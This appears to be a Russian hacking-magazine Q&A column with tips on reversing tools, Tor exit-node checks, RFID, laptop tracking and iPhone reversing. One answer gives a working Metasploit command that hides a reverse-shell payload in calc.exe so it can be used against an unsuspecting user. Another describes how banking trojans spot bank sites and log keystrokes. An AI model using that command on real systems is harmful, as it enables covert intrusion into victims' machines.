Содержание статьи

 

Q: Во время реверсинга часто нужно подсмотреть, что означает тот или иной параметр, передаваемый в API-функцию. За объяснением обычно обращаюсь в MSDN, но это долго и неудобно. Можно ли как-то научить IDA, чтобы та добавляла расширенные комментарии к входным параметрам API-функций?

А: Действительно, запомнить входные параметры, а вместе с тем еще и возвращаемые значения многочисленных API – задача, мягко говоря, непосильная. Чтобы упростить себе жизнь, парни из zynamics.com написали ida-msdn-скрипт (взять можно отсюда: github.com/zynamics/msdn-plugin-ida), который добавляет исчерпывающую информацию из MSDN для каждого вызова API-функции – это как раз то, что нам нужно. Правда, сначала придется сконвертировать твою локально установленную библиотеку MSDN в XML-файл. Сделать это можно с помощью тулзы msdn-crawler (github.com/zynamics/msdn-crawler), которая парсит библиотеку MSDN и генерирует XML- файл, содержащий информацию об API-функциях Windows (описание, имена аргументов вместе с описанием, возвращаемые значения). Всего на данный момент msdn-crawler находит 33984 (!) функции. Сформировав файл msdn.xml, остается только добавить из него информацию в IDB-файл, который понимает сама IDA. Для этого используем IDAPython и выполняем с его помощью скрипт ida_importer.py.

 

Q: Довольно часто использую Tor для сохранения анонимности. Но, как известно, существуют такие утилиты как sslstrip, позволяющие перехватить мои данные на последнем узле, откуда они передаются в Сеть в открытом виде. Можно ли как-то себя обезопасить от подобного типа атак?

A: Обезопасить себя на все 100% не получится, но кое-какие меры все же предпринять можно. В пакет утилиты TorTunnel (www.thoughtcrime.org/software/tortunnel) входит программа под названием TorScanner. Она особым образом опрашивает все выходные ноды, полученные от сервера директорий, после чего выводит небольшой отчет, на каких узлах был переход с HTTPS на HTTP: torscanner host port / > dump.txt. Далее, если внести подозорительные узлы в качестве значения параметра ExcludeNodes, то Tor исключит их при построении цепочек нодов. Идея хорошая, но недостаток очевиден: атакующий может появиться внезапно, перехватить трафик и исчезнуть. Поэтому этот способ и не дает 100% гарантии.

 

Q: Хочу проверить SWF-файлы на наличие вредоносного кода. Подскажи утилиту, которая лучше всего подходит для декомпиляции Flash-файлов.

A: В Сети есть множество бесплатных утилит для декомпиляции Flash-файлов, например знаменитые Flare и OWASP’s SWFIntruder. К сожалению, возможности бесплатных утилит не всегда идут в ногу со временем, поэтому очень многие из них не поддерживают те нововведения, которые появились в 9 и 10 Flash’e, ActionScript 3 и фреймворке Adobe Flex. Самой же продвинутой утилитой на данный момент является HP SWFScan (www.hp.com/go/swfscan). Это первая и единственная бесплатная программа, умеющая работать с ActionScript 2.0 и ActionScript 3.0. Программа умеет не просто декомпилировать байкод обратно в исходный код – она создана специально для поиска уязвимостей во Flash-приложениях. Всего реализовано обнаружение более 60 разных уязвимостей, включая раскрытие персональных данных, XSS, междоменное повышение привилегий (cross-domain privilege escalation) и др. HP SWFScan примечательна еще и тем, что подсвечивает найденные в коде уязвимости, предоставляет рекомендации и исчерпывающую информацию по уязвимости, а также может экспортировать исходный код для дальнейшего анализа в сторонних приложения.

 

Q: Можно ли как-то перенести закладки из Firefox в Opera или Chrome?

A: Есть такая замечательная прога как Transmute (www.gettransmute.com), которую можно смело можно назвать стандартом де-факто для синхронизации закладок между различными браузерами. Фишка в том, что прога поддерживает работу не только с бразуерами (Firefox, Google Chrome, Opera, Internet Explorer и другими), но еще и с онлайн-сервисами для хранения закладок. Правда, для синхронизации с Google Bookmarks, Delicious и другими хранилищами закладок придется приобрести платную версию.

 

Q: Есть много-много кода на JavaScript с комментариями на китайском языке. Задача – удалить оттуда все комменты. Написал несколько регулярок, но некоторые вещи программа все равно пропускает. А у вас есть решение?

A: В большинстве случаев будет достаточно простого регеспа code.replace(/\/\*.+?\*\/|\/\/.*(?=[\n\r])/g, »).
Но, увы, он не сможет обработать следующие ситуации:

  1. var str = " /* not a real comment */ ";
  2. var regex = /\/*.*/;

Чтобы удалить абсолютно все комментарии, для таких ситуаций придется написать несложные обработчики.

 

Q: При запуске последней версии Backtrack на широкоформатном ноутбуке устанавливается неправильное разрешение. Как это пофиксить?

A: На моем старом Asus помогло добавление пары строчек в конфиг /etc/X11/xinit/xinitrc:

xrandr –output HDMI-2 –offxrandr –output VGA –off
xrandr –output HDMI-2 –off
xrandr –output VGA –off

После этого изображение стало выглядеть как надо.

 

Q: Как банковские трояны определяют, что пользователь перешел на нужный им сайт (а нужен им, как несложно догадаться, интерфейс онлайн-банкинга)?

A: Если говорить просто, то трояну нужно отслеживать, что делает веб-браузер пользователя и на какие страницы он переходит. Для определения перехода на нужный сайт используются довольно разнообразные приемы:

  • перехват API-функция (в первую очередь, WinInet API);
  • интерфейс BHO (Browser Helper Object) – DLL-модуль, разработанный как плагин для Internet Explorer для обеспечения дополнительной функциональности;
  • мониторинг названия окон (с помощью банальной API-функции FindWindow);
  • работа с COM (Component Object Model) / OLE (Object Linking and Embedding) интерфейсами;
  • разработка вспомогательных плагинов к браузерам (Firefox/Chrome);
  • интерфейс LSP (Layered Service Provider), позволяющий пользователю подключать собственные DLL-библиотеки для обработки вызовов Winsock API.

Самый банальный вариант: троян отслеживает определенную комбинацию в названиях окон (например, «Super Bank») и таким образом понимает, что пользователь перешел на сайт банка, а после этого тупо записывает в лог все клики и нажатия на клавиатуре.

 

Q: Можно ли отменить случайно отправленное письмо?

A: В некоторых случаях – да! Уверен, что если ты и не пользовался Gmail, то, по меньшей мере, обращал внимание на кнопку Undo, которая доступна в течение некоторого времени после отправки письма. Время, в течение которого письмо находится во временном буфере и физически не отправляется, варьируется от 5 до 20 секунд и регулируется в настройках. Пользователи Outlook, работающие в связке с Exchange-сервером также могут отозвать письмо, воспользовавшись соответствующим пунктом в меню «Другие действия».

 

Q: Хочу поэкспериментировать с RFID. В смысле, не собирать считыватель или эмулятор меток с нуля, а именно интегрировать его в рамках какой-нибудь информационной системы. Например, повесить RFID-метку на ошейник кошки и отслеживать ее перемещения по квартире, записывая check-in в лог-файл. По идеи, ничего сложного в этом нет, если есть метки и RFID-считыватели. Подскажи, где их достать как можно дешевле?

A: Хороший вектор ты выбрал для экспериментов, молодец! Тем более сейчас как никогда ранее все необходимые инструменты стали доступными. Покупать RFID-оборудование в России – невыгодно. Наши разработки – дорогие, а те, что везут с Китая, продаются втридорога. Поэтому самый верный способ – заказать все самому где-нибудь за рубежом. Если посерфить такие сайты, как www.dealextreme.com, где продается миллион товаров китайской промышленности, можно найти NoName считыватели RFID по цене от $40. Как правило, в комплекте идет одна-две метки для экспериментов. Увы, отвечать за качество какого-то конкретного товара за такую стоимость никто не может. А вот что действительно могу посоветовать по своему опыту, так это RFID-модуль от известной компании Paralax (www.parallax.com), который подключается к компьютеру через серийный/USB порт. Товар можно купить прямо на сайте производителя (ищи по ключевым словам RFID Card Reader) по цене от $39,99 за штуку. Метки придется покупать отдельно: одна RFID-карточка стоит $0,99.

 

Q: Украли ноутбук. Дал милиции MAC-адрес, но учитывая, что в городе много провайдеров, шанс найти ноут по этим данным небольшой. Хочу теперь поставить на все свои ноутбуки какую-нибудь программу, которая постоянно будет стучаться на сервер и сливать туда текущую инфу (скажем, IP-адрес). В такой ситуации поймать подонков будет куда проще. Но как это лучше всего сделать?

A: Сам понимаешь, что написать программу, которая, скажем, при запуске будет отправлять текущий IP-адрес, ничего не стоит. Но этого мало! В нетбуках сейчас есть GPS – значит, можно отправлять и координаты. Пускай такого модуля нет, но по параметрам точки доступа Wi-Fi (MAC и ESSID) зачастую также можно определить месторасположение (по крайней мере, Google.Карты такое позиционирование могут выполнять очень здорово). Если в ноутбуке есть камера, то почему бы не сделать снимок с камеры и не отправить его на сервер – возможно, повезет увидеть негодяя в лицо. В любом случае никто не мешает отправить скриншот рабочего стола – тут тоже может быть важная информация для поиска бука. Не нужно даже ничего кодить вручную, потому что все эти действия поддерживаются программой Prey (preyproject.com). Версия утилиты уже есть для всех десктопных платформ: Windows, Mac и Linux, а совсем недавно появилась версия и для Android. С определенным интервалом Prey просыпается в системе и стучит на определенный URL, чтобы проверить, не появилась ли там команда на сбор данных. Если режим поиска активирован, то она сама будет пытаться подключиться к ближайшему Wi-Fi (даже если злоумышленник этого делать не будет). А изображение с камеры в некоторых случаях будет сниматься незаметно, то есть без визуального оповещения (обычно рядом с камерой есть небольшой светодиод).

 

Q: Можно ли к Visual Studio прикрутить подсветку синтаксиса Python?

A: Можно сделать даже больше. С недавнего времени в рамках проектах IronPython (это реализация Python для платформы .Net) были опубликованы специальные инструменты для работы с Python-кодом в Visual Studio 2010. В результате ты получаешь многие бонусы, которые предоставляет IDE от Microsoft, для разработки кода на Python, в том числе отладчик (хотя и не такой мощный как для C#) и знаменитую IntelliSense – систему подсказок и автодополнения команд.

 

Q: Подскажи самый простой способ открыть шелл на удаленной Windows-системе ушастого пользователя.

A: Не буду тут приводить примеры многочисленных джоинеров, позволяющих присоединить к невинному exe’шнику зловредный код. Можно обойтись и без джоинера, и, собственно, без самого бэкдора, заменив обоих Metaspoit’ом. В одной из последних версий появилась замечательная команда msfencode, которая присоединяет к произвольному бинарнику одну из боевых нагрузок Metasploit, в том числе backconnect:

./msfpayload windows/meterpreter/reverse_tcp LHOST=<твой ip> R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -c 5

Если получившийся exe-файл запустить на удаленной системе, то с нее тотчас же поступит обратное соединение.

 

Q: Хочу автоматизировать нудную работу, связанную с заполнением данных в Excel-файл (*.XLS). Данные необходимо обновлять из скрипта, написанного на Python. Как?

A: Есть два варианта. Использовать готовые модули, например, Pyxlreader (pyxlreader.sourceforge.net), или же воспользоваться технологией COM, с помощью которой получать данные с Excel напрямую (работать с файлом будет сам офисный пакет). Второй вариант более сложен и к тому же добавляет обязательную зависимость скрипта от установленного в системе Excel.

 

Q: Что нужно знать, чтобы реверсить приложения для iPhone?

A: Все приложения для iPhone имеют свой формат исполняемых файлов – Mach-O. При этом само приложение распространяется в виде IPA-файла – zip-архива, в котором упакован сам бинарник, а также файлы-ресурсы. Для того, чтобы поднять на телефоне условия для отладки, необходим девайс, на котором установлен JailBrake (то есть должен быть рутовый доступ к файловой системе). После этого у тебя будет доступ к отладчикам gdb/iphonedbg. Приложения из AppStore закриптованы: дешифрование осуществляется загрузчиком Mach-O. Защита не слишком сложная, куда больше проблем доставляет тот факт, что основным языком разработки приложений является Objective-C. Комплируемый объектно-ориентированный язык программирования от корпорации Apple построен на основе языка Си и парадигм Smalltalk. Последнее означает, что всем объектам посылаются сообщения. В результате большая часть вызовов (>80%) программы выгодят как objc_msgSend(). Переварить их без дополнительного помощника довольно сложно, однако граф вызовов можно серьезно упростить и привести в божеский вид с помощью скрипта zynamics Objective-C helper (github.com/zynamics/objc-helper-plugin-ida), подключаемого к IDA Pro в виде плагина.

 

Q: Во многие телефоны сейчас встроен модуль A-GPS (Assisted GPS). Система подгружает из инета данные, необходимые для быстрого поиска спутника. Получается, что для запуска GPS всегда нужен инет?

A: На самом деле нет, Assisted GPS – это лишь система, ускоряющая так называемый «холодный старт» GPS, то есть процесс первоначального поиска спутника. Часть необходимых данных, в том числе альманах с текущим расположением спутников, подгружается в телефон и используется для первичного определения координат. Если возможности подгрузить данные нет, то GPS-модуль работает в обычном режиме: как если бы A-GPS в системе не было. Впрочем, отдельные приемники с A-GPS без оператора сотовой связи работать все же не могут, но это исключение, а не правило.

Оставить мнение

Check Also

WWW: Carbon — сервис для создания идеальных скриншотов кода

В теории сделать скриншот кода, чтобы кому-то показать, — задача несложная. В реальности р…